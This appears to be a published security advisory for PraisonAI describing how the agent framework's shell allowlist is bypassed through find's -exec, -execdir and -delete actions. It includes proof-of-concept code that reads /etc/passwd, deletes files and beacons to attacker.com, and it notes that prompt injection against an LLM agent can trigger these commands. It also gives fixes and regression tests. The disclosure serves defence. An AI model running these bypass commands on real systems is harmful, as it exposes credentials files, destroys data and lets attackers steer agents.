Vulnerability GHSA-cv3g-hj65-pcfh

High Risk
HIGH RISK
CVSS Score: 8.8
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
1 hour ago
October 08, 2026 at 10:00 PM UTC
PraisonAI: Shell command allowlist bypass via find -exec built-in action
0.0.1 - 4.6.77
0.0.1 - 4.6.77

Summary

PraisonAI: Shell command allowlist bypass via find -exec built-in action

Details

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

# Component File Gap
1 TS utility-tools shell() src/praisonai-ts/src/tools/utility-tools.ts:255 find in safeCommands allowlist
2 TS SandboxExecutor src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 find absent from DEFAULT_BLOCKED_COMMANDS
3 Python safe_shell src/praisonai/praisonai/cli/features/safe_shell.py:22-58 find absent from BANNED_COMMANDS, present in SAFE_COMMANDS
4 Python sandbox_executor src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 find absent from blocked_commands

Bypass analysis:

Check find /etc -name passwd -maxdepth 1 -execdir cat {} + Result
Metachar regex `/[; &`><]/` {, }, + are not in regex
Regex /\$\([^)]*\)/ No $(...) PASS
safeCommands.includes('find') find IS in allowlist PASS
SandboxExecutor blocked paths normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) PASS
spawn('find', [...], {shell:false}) find interprets -execdir internally BYPASS

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

Precondition How attacker obtains Default?
Access to shell() or SandboxExecutor Default built-in tool in the npm agent toolkit; reachable via prompt injection Y
find binary on target Standard Unix utility, present on Linux/macOS Y
find in allowlist / absent from blocklist Default configuration in each implementation Y

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() {
    // Control: direct 'wget' is rejected (not in safeCommands)
    const control = await shell('wget http://example.com');
    console.log('[CONTROL] rejected:', !control.success);  // true

    // Bypass: find -execdir reads /etc/passwd via find's built-in action
    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
    console.log('[BYPASS]:', bypass.success);  // true
    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...
}
poc();

Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.

2. File deletion

await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted

3. Non-allowlisted command (side-effect based)

await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero

4. Python safe_shell

from praisonai.cli.features.safe_shell import safe_execute

result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout)  # root:x:0:0:root:/root:/bin/bash ...

Impact

An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:

  • Blocked file read: -execdir reads files in DEFAULT_BLOCKED_PATHS by splitting the path across arguments (verified: exit 0, data returned)
  • File deletion: -delete destroys files without metacharacters (verified: clean exit 0)
  • Non-allowlisted command execution: -exec runs commands not in safeCommands (side effect fires regardless of exit code)

Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.

Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.

Suggested fix

Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.

Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.

Regression tests:

test('rejects find -exec', async () => {
    expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
    expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
    expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});

References

  • GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
  • GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
  • Fix commits: 2adfe7e, 2f9677a (2026-06-13)

Impacted packages

Timeline

Published
1 hour ago
October 08, 2026 at 10:00 PM UTC
Last Modified
1 hour ago
October 08, 2026 at 10:15 PM UTC